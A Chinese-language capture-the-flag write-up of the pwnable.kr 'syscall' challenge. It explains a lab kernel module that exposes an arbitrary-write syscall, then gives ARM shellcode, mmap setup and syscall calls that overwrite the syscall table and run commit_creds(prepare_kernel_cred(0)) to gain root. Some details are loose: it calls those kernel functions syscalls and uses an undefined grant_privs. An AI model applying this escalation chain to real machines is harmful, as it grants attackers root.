Pwnable.kr syscall
题目其实很简单,但这是第一次遇到内核权限提升,知道了很多新鲜的东西,所以记录一下。
原始文件
下面是原始的内核模块源码,其中 initmodule 就是把模块加载到内存的函数,任何内核模块源码都要实现这个函数。
可以看到源文件其实真的很简单,它定义了 sys_upper 函数,然后通过 sct[NR_SYS_UNUSED] = sys_upper; 把 sys_upper 函数添加到内核的系统调用表中。
这个 sys_upper 可以修改任意地址,只是修改的内容不包含小写字母。
#define SYS_CALL_TABLE 0x8000e348 // manually configure this address!!
#define NR_SYS_UNUSED 223
//Pointers to re-mapped writable pages
unsigned int** sct;
asmlinkage long sys_upper(char *in, char* out){
int len = strlen(in);
int i;
for(i=0; i<len; i++){
if(in[i]>=0x61 && in[i]<=0x7a){
out[i] = in[i] - 0x20;
}
else{
out[i] = in[i];
}
}
return 0;
}
static int __init initmodule(void ){
sct = (unsigned int**)SYS_CALL_TABLE;
sct[NR_SYS_UNUSED] = sys_upper;
printk("sys_upper(number : 223) is added\n");
return 0;
}
static void __exit exitmodule(void ){
return;
}
module_init( initmodule );
module_exit( exitmodule );
一些说明
1. Linux 内存空间中,低地址是用户进程可访问的,而高地址处则是属于内核。例如,在 x86 的机器上,0x00000000 到 0xbfffffff 是属于进程的,而 0xc0000000 到 0xffffffff 属于内核。用户进程无法访问属于内核内存地址,反过来,内核可以访问属于进程的内存。请注意,上面这些都是虚拟地址,和物理地址没有任何关联。
2. Linux 系统运行时,系统调用表的地址是固定的(同样,是指虚拟地址)。
3. Linux 系统下每个进程拥有其对应的 struct cred,记录该进程的 uid。如果要修改 uid,需要在内核空间中执行:
// 修改 uid 为 new_uid,root 的 uid 是 0
// prepare_kernel_cred 创建一个新的 cred
// commit_creds 表示把这个 cred 设置为当前进程的 cred
commit_creds(prepare_kernel_cred(new_uid));
4. kallsyms 命令可以帮助我们查找系统调用表的具体位置。如查找 vmsplice 的地址,可以输入
cat /proc/kallsyms | grep sys_vmsplice。同理,像 commit_creds 和 prepare_kernel_cred 也是系统调用,所以都可以用 kallsyms 找到。
kallsyms 具体含义:
1. 简单介绍
在 2.6 内核中,为了更好地调试内核,引入了kallsyms. kallsyms 抽取了内核用到的所有函数地址(全局的, 静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image,相当于内核中存了一个 System.map。
当然这个可以用户决定是否使用这个机制,使用 kallsyms 需要编译内核,配置选项要把 CONFIG_KALLSYMS 相关的设置好,见下文。
2. 相关文件
./scripts/kallsyms.c 负责生成 System.map
./kernel/kallsyms.c 负责生成 /proc/kallsyms
/proc/config.gz 内核编译选项
3. 内核编译
# 符号表中包含所有的函数
CONFIG_KALLSYMS=y
# 符号表中包括所有的变量(包括没有用EXPORT_SYMBOL导出的变量)
CONFIG_KALLSYMS_ALL=y
CONFIG_KALLSYMS_EXTRA_PASS=y
4. 详细作用
可以理解成是一个简单的数据块(符号和地址对应),并将此链接进 vmlinux 中去。如此,在需要的时候,内核就可以将符号地址信息以及符号名称都显示出来,方便开发者对内核代码的调试。完成这一地址抽取+数据快组织封装功能的相关子系统就称之为 kallsyms。
反之,如果没有 kallsyms 的帮助,内核只能将十六进制的符号地址呈现给外界,因为它能理解的只有符号地址,而并不包括人类可读的符号名称。用途的话,比如出错时,即产生 Oops 时,打印的信息不仅有地址,还有对应函数名,比较具有可读性。
思路
- 编写 shellcode
- 用户空间分配一块内存,并且把 shellcode 写进去
- 利用上面的
sys_upper函数,修改内核的系统调用表,把某个系统调用地址改为 shellcode 的地址 - 调用这个篡改的系统调用,从而执行 shellcode
Step1: 编写 shellcode
对于内核的 exploit,不是就 cat flag 完事,而是要进行提权操作。其实就是前面第 3 条所说的,用 commit_creds 和 prepare_kernel_cred 修改 uid 为 0,即改成 root 权限。
代码如下:
char *shellcode = "\xf0\x4f\x2d\xe9" //push
"\x02\x40\xa0\xe1" //mov r4, r2
"\x31\xff\x2f\xe1" //blx r1
"\x04\x10\xa0\xe1" //mov r1, r4
"\x31\xff\x2f\xe1" //blx r1
"\xf0\x4f\xbd\xe8" //pop
"\x1e\xff\x2f\xe1"; //bx lr
汇编代码可以通过如下方式得到:
$ rasm2 -a arm 'mov r1, r4'
0410a0e1
上面这个 shellcode 来自:https://rk700.github.io/2016/11/11/pwnable-kr-syscall/
执行这个 shellcode 时需要传入参数 0、prepare_kernel_cred 和 commit_creds 的地址。即最后实际上是:
shellcode(0, prepare_kernel_cred, commit_creds);
Step2: 分配内存并写进去
这个就太简单了,就用上面的 shellcode 变量就行了。
当然,如果担心 shellcode 是栈空间不能执行,或者 shellcode 地址中包含小写字母从而无法被 sys_upper 函数利用,那么可以使用 mmap 分配一块内存,然后写进去。
void *src = 0x40801000;
void *res = mmap(src, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(res+0x10, shellcode, 28);
Step3: 利用 sys_upper 修改内核的系统调用表
调用就可以了,这里的 sys_vmsplice 就是我们向篡改的系统调用表的地址。通过 cat /proc/kallsyms | grep sys_vmsplice 可以找到 sys_vmsplice 的地址。
#define SYS_UPPER 223
// 修改 sys_vmsplice 系统调用,地址和偏移量可以用 kallsyms 找到
#define OVERWRITTEN 343
void * sys_vmsplice = (void *)0x800e3dc8;
syscall(SYS_UPPER, grant_privs, sys_vmsplice);
Step4: 调用篡改的系统调用
// prepare_kernel_cred 和 commit_creds 的地址可以用 kallsyms 找到
syscall(OVERWRITTEN, 0, prepare_kernel_cred, commit_creds);
番外
这篇文章有另一种 shellcode: http://alkalinesecurity.com/blog/ctf-writeups/pwnable-challenge-syscall/
.data:00000008 b501 push {r0, lr}
.data:0000000a 1a92 subs r2, r2, r2
.data:0000000c 1c10 adds r0, r2, #0
.data:0000000e 46f0 mov r8, lr
.data:00000010 4a02 ldr r2, [pc, #8] ; (0x0000001c) ;char c = src[i]
.data:00000012 4790 blx r2
.data:00000014 4a02 ldr r2, [pc, #8] ; (0x00000020) ;dst[i] = c
.data:00000016 321c adds r2, #28
.data:00000018 4790 blx r2 ;i++
.data:0000001a bd01 pop {r0, pc}
.data:0000001c 8003f924
.data:00000020 8003f550
/ $ cat /proc/kallsyms|grep commit_creds
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms|grep prepare_kernel
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred
博客原文:I gotta say this is my prettiest exploit. I put some artistry into this one. But the first thing to attempt is commit_creds(prepare_kernel_cred(0)) code that avoids null bytes and lower case characters. After a lot of finagling I came up with the following assembly:
这个 shellcode 可以不调用参数,已经用了一些 trick 把 prepare_kernel_cred 和 commit_creds 的地址写进去了,即最后直接执行:
// 原来是 syscall(OVERWRITTEN, 0, prepare_kernel_cred, commit_creds);
syscall(OVERWRITTEN);